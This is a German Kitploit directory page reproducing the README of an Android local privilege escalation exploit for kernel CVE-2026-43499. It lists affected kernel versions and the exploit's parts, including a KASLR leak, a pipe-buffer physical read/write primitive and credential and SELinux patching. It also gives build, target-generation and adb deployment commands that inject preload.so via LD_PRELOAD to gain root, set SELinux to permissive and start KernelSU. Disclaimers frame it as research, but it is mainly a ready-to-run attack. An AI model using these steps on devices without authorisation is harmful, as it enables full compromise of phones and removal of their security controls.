Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/huaguiqi/asus_i005-cve-2026-43499
Android-SicherheitPrivilege EscalationExploitationPost-ExploitationMobile SicherheitPayload-EntwicklungBinary-Exploitation
GitHubhuaguiqi/asus_i005-cve-2026-43499

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

asus_i005-CVE-2026-43499

Android-Exploit zur lokalen Rechteausweitung für CVE-2026-43499, der Kernel-Creds patcht und ein eingebettetes KernelSU im Late-Load-Modus über LD_PRELOAD startet.

Repository anzeigen
vor 4h 11mNoch nicht geprüft

CVE-2026-43499-root-KernelSU

Lokale Privilegieneskalation basierend auf der Kernel-Schwachstelle CVE-2026-43499, mit integriertem KernelSU. Kompiliert und erzeugt preload.so; nach erfolgreicher Ausnutzung wird KernelSU im late-load-Modus (Jailbreak-Modus) gestartet. Unterstützt die Generierung von target.h aus (xbl_config.img / vendor_boot.img) + boot.img.

Local privilege escalation adaptation based on a kernel vulnerability, integrating embedded KernelSU. Compiles and generates preload.so; upon successful exploitation, KernelSU will be started in late-load mode (jailbreak mode). Supports generating target.h from (xbl_config.img / vendor_boot.img) + boot.img. or other way

Referenzierte Projekte:

  • Linuxoid-cn/CVE-2026-43499-Poc-Analysis
  • x-spy/CVE-2026-43499-popsicle
  • Colorful-glassblock/duchamp-root

[!IMPORTANT] The unauthorized exploitation of vulnerabilities to damage, compromise, or gain access to computer systems is prohibited by law. This project is provided strictly for research, educational, and learning purposes, and may only be used in systems and environments for which prior authorization has been granted. Any use of this project is undertaken at the user's own risk. The authors and contributors assume no liability for any misuse of this project or for any damages, losses, or legal consequences resulting from its use.

Haftungsausschluss: Die unbefugte Ausnutzung von Schwachstellen zum Zwecke der Beschädigung, des Eindringens oder des unbefugten Zugriffs auf Computersysteme kann gegen geltende Gesetze und Vorschriften verstoßen. Dieses Projekt ist ausschließlich für Sicherheitsforschung, Lern- und Testzwecke in rechtmäßig autorisierten Systemen und Umgebungen bestimmt. Alle direkten oder indirekten Schäden, rechtlichen Konsequenzen und sonstigen Folgen, die durch die Nutzung, den Missbrauch oder die Modifikation dieses Projekts entstehen, liegen ausschließlich in der Verantwortung des Nutzers. Die Autoren und Mitwirkenden des Projekts übernehmen keinerlei Haftung.

Betroffener Bereich

Wenn Ihre Kernel-Version {Linux Kernel} ist, liegt sie im betroffenen Bereich dieser Schwachstelle

  • Linux Kernel < commit 3bfdc63936dd4773109b7b8c280c0f3b5ae7d349

  • 2.6.39 <= {Linux Kernel} < 6.1.175

  • 6.2 <= {Linux Kernel} < 6.6.140

  • 6.7 <= {Linux Kernel} < 6.12.86

  • 6.13 <= {Linux Kernel} < 6.18.27

  • 6.19 <= {Linux Kernel} < 7.0.4

Aktueller Status

TargetStatus
rodin(Standard)Verifiziert
Andere src/targets/*Referenz

Verzeichnisstruktur

root@kitploit:~
.
├── Makefile
├── build/
│   └── embed/
│       └── ksud                 # 被嵌入 preload.so 的 KernelSU userspace binary
├── tools/
│   ├── generate_target.py       # 本仓库统一 target.h 生成入口
│   └── vendor/                  # 从父目录同步的原始生成辅助脚本
└── src/
    ├── main.c                   # exploit 主流程
    ├── preload.c                # LD_PRELOAD constructor + ksud 写出/启动
    ├── root.c                   # cred/seccomp/SELinux/root patch
    ├── slide.c                  # pselect KASLR slide leak
    ├── fops.c                   # pselect/FOPS route
    ├── pipe.c                   # pipe-buffer phys R/W primitive
    ├── ksud_blob.S              # .incbin build/embed/ksud
    ├── kernelsnitch/            # KernelSnitch helpers
    └── targets/
        ├── rodin/
        ├── beryl/
        └── ...

Build

Abhängigkeiten

  • Linux-Host
  • Android NDK
    • Standardpfad: ~/android-ndk-r29
    • Oder setzen: ANDROID_NDK_HOME / ANDROID_NDK_ROOT / NDK_ROOT
  • make
  • git

Build

root@kitploit:~
make PROJECT=<target> -j$(nproc)

Ausgabe:

root@kitploit:~
build/<target>/bin/preload.so

Verfügbare Targets anzeigen

root@kitploit:~
make list-projects

target.h generieren

Dieses Repository enthält bereits ein einheitliches Target-Generierungsskript:

root@kitploit:~
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py

tools/generate_target.py ist das Einstiegsskript. Es referenziert und kapselt alle Target-Generierungsabläufe des übergeordneten Verzeichnisses und gibt schließlich eine vollständige, an den Quellcode dieses Repositories angepasste src/targets/<project>/target.h aus.

Das Skript erzwingt keine Validierung von CONFIG_DEBUG_INFO_BTF=y in IKCONFIG. Wenn Strukturfeld-Offsets oder das percpu entry_task-Layout nicht verifiziert werden können, wird eine Warnung ausgegeben und die Generierung fortgesetzt.

Wenn im Image überhaupt kein nutzbares BTF vorhanden ist, z. B. wenn Folgendes auftritt:

root@kitploit:~
有效 vmlinux BTF 候选不唯一: []

wechselt der Generator in den BTF-losen Fallback:

  • Fortsetzung der Wiederherstellung von Funktions-/Globalobjekt-Symbol-Offsets aus den kallsyms des aktuellen boot.img;
  • Strukturfeld-/Layout-Makros, die nicht aus BTF wiederhergestellt werden können, erben vom Template-Target, Standard-Template ist rodin;
  • Am Anfang des generierten Headers wird eine Warnung eingefügt, die without BTF und das verwendete Template angibt;
  • Dieser Header ist so weit wie möglich kompilierbar, aber die Laufzeitzuverlässigkeit muss auf echter Hardware verifiziert werden.

Fallback-Template kann angegeben werden:

root@kitploit:~
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# oder
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json

1. Generierung mit boot.img + profile JSON

root@kitploit:~
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json

Standardmäßig geschrieben nach:

root@kitploit:~
src/targets/<project>/target.h

Das Skript kann auch direkt aufgerufen werden:

root@kitploit:~
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json

profile.json muss physische Adressinformationen enthalten, z. B.:

root@kitploit:~
{
  "p0_phys_offset": "0x40000000",
  "p0_kernel_phys_load": "0x40000000"
}

2. Profile von einem gerooteten ADB-Gerät erkennen

Nur Profile generieren:

root@kitploit:~
make detect-profile PROFILE_OUT=profile.json

Profile erkennen und sofort Target generieren:

root@kitploit:~
tools/generate_target.py --project <project> --boot /path/to/boot.img \
  --detect-adb-and-generate --profile-out profile.json

3. Generierung aus (xbl_config.img / vendor_boot.img) + boot.img

Das Skript stellt gleichzeitig andere Eingänge bereit, die vom Generator des übergeordneten Verzeichnisses unterstützt werden:

root@kitploit:~
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img

tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img

tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
Beispiele
root@kitploit:~
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json

Erfolgreiche Ausgabeform:

root@kitploit:~
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168

rodin behält standardmäßig den auf echter Hardware verifizierten Wert bei:

root@kitploit:~
#define MM_STRUCT_SZ 0x500

Zum Überschreiben:

root@kitploit:~
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...

Neues Target hinzufügen

Empfohlen wird die Generierung aus passendem Boot-Image und Profile:

root@kitploit:~
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)

Ein vollständiger Target-Header enthält:

  • direct map / physical profile Konstanten
  • KASLR slide object Offsets
  • task / cred / SELinux Offsets
  • pipe / fops / configfs Offsets
  • pselect layout Werte, z. B. PSELECT_WAITER_WORD_SHIFT
  • MM_STRUCT_SZ und KernelSnitch-Tuning-Werte

Ausführung

Der aktuelle Quellcode enthält bereits Standardwerte. Für den normalen Betrieb muss nur LD_PRELOAD gesetzt und ein beliebiges Programm ausgeführt werden (empfohlen: toybox id).

root@kitploit:~
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Standard-Ausführungsparameter

Die aktuelle Standardkonfiguration ist wie folgt:

Standardmäßig tatsächlich ausgeführte ksud-Befehlszeile:

root@kitploit:~
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu

Diese Umgebungsvariablen können weiterhin zur Laufzeit überschrieben werden, z. B.:

root@kitploit:~
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Bereits geschriebenes ksud wiederverwenden:

root@kitploit:~
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'

Bereinigung

root@kitploit:~
make clean

make clean behält build/embed/ksud bei, da src/ksud_blob.S es auf folgende Weise einbettet:

root@kitploit:~
.incbin "build/embed/ksud"

Falls eine manuelle Bereinigung zum Verlust von build/embed/ksud führt, kann es wiederhergestellt werden:

root@kitploit:~
git checkout -- build/embed/ksud

Häufige Probleme

.incbin "build/embed/ksud" not found

Nach Wiederherstellung der eingebetteten Payload neu bauen:

root@kitploit:~
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)

FOPS route gibt success=0 zurück

rodin erwartet die Verwendung des legacy/simple pselect layout:

root@kitploit:~
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1

Wenn der Gerätezustand durch fehlgeschlagene Versuche beeinträchtigt wurde, einfach neu starten und erneut versuchen:

root@kitploit:~
adb reboot

F_SETPIPE_SZ gibt EPERM zurück

Dies ist normalerweise ein Zustandsproblem, das durch fehlgeschlagene/verbleibende Versuche verursacht wird. Ein Neustart ist die schnellste Bereinigungsmethode:

root@kitploit:~
adb reboot

ksud startet, aber /proc/modules enthält kein KernelSU

Logs anzeigen:

root@kitploit:~
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'

Bei Bedarf manuell in einer Root-Shell ausführen:

root@kitploit:~
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu

License

GPL-3.0. See LICENSE.

Tool herunterladen
EinstellungStandardwertBeschreibung
KSUD_LATE_LOAD1Führt ksud late-load aus
KSUD_ALLOW_SHELL1Übergibt --allow-shell
KSUD_PACKAGEme.weishu.kernelsuAn ksud übergebener Manager-Paketname (scheint nicht zu wirken)
KSUD_DST/data/local/tmp/ksudAusgabepfad für eingebettetes ksud
KSUD_SKIP_WRITE0Standardmäßig eingebettetes ksud ausschreiben
KSUD_DEFER_TO_PARENT1ksud aus dem bereits gepatchten Eltern-/aktuellen Prozesspfad starten
ROOT_PATCH_SELF1Aktuellen Prozess auf uid 0 patchen
DISABLE_SELINUX1SELinux enforcing beim Root-Patch auf permissive setzen
ROOT_EXIT_SLEEPunset / 0Kein zusätzliches sleep vor der Rückkehr